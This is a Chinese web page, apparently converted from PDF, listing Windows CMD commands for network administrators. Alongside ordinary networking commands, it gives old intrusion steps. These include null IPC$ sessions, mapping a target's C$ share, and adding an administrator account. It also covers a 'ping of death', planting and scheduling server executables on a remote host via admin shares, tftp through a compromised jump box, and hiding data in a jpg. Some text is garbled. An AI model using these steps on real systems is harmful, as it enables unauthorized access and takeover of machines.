网络管理员必须掌握的：CMD命令 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/492/2021_2022__E7_BD_91_E7_BB_9C_E7_AE_A1_E7_c67_492434.htm net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 net use h: [url=file://ip/c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: [url=file://ip/c$]\\ip\c$[/url] 登陆后映射对方C：到本地为H: net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup ***istrators 用户名 /add 把“ 用户 ”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务；(如:net start telnet， net start schedule) net stop 服务名 停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“ 目标IP ”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view [url=file://ip/]\\ip[/url] 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C：共享 net user guest 12345 用guest用户登陆后用将密

码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况，常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“ -w数字 ”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“ -l[空格]数据包大小 ”；“ -n发送数据次数 ”；“ -t ”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“ /all ”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“ DEL/AR *.* ”表示删除当前目录下所有只读文件，“ DEL/A-S *.* ”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） move 盘符\

路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /0delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 at id号 /0delete 停止某个已注册的计划任务 at 查看所有的计划任务 at [url=file://ip/]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP（属telnet登陆后的命令） telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 copy c:\srv.exe [url=file://ip/***$]\\ip***$[/url] 复制本地c:\srv.exe到对方的***下 cppy 1st.jpg/b 2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 copy [url=file://ip/***$/svv.exe]\\ip***$\svv.exe[/url] c:\ 或:copy\\ip***$*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“ IP ”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传

送tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe 至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址 Interface arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 mem 查看cpu使用情况 attrib 文件名(目录名) 查看某文件（目录）的属性 attrib 文件名 -A -R -S -H 或 A R S H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 date /t 、 time /t 使用此参数即“ DATE/T ”、“ TIME/T ”将只显示当前日期和时间，而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序，并显示出：请按任意键继续.... if 在批处理程序中执行条件处理（更多说明见if命令及变量） goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“ ：start ”标签） 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com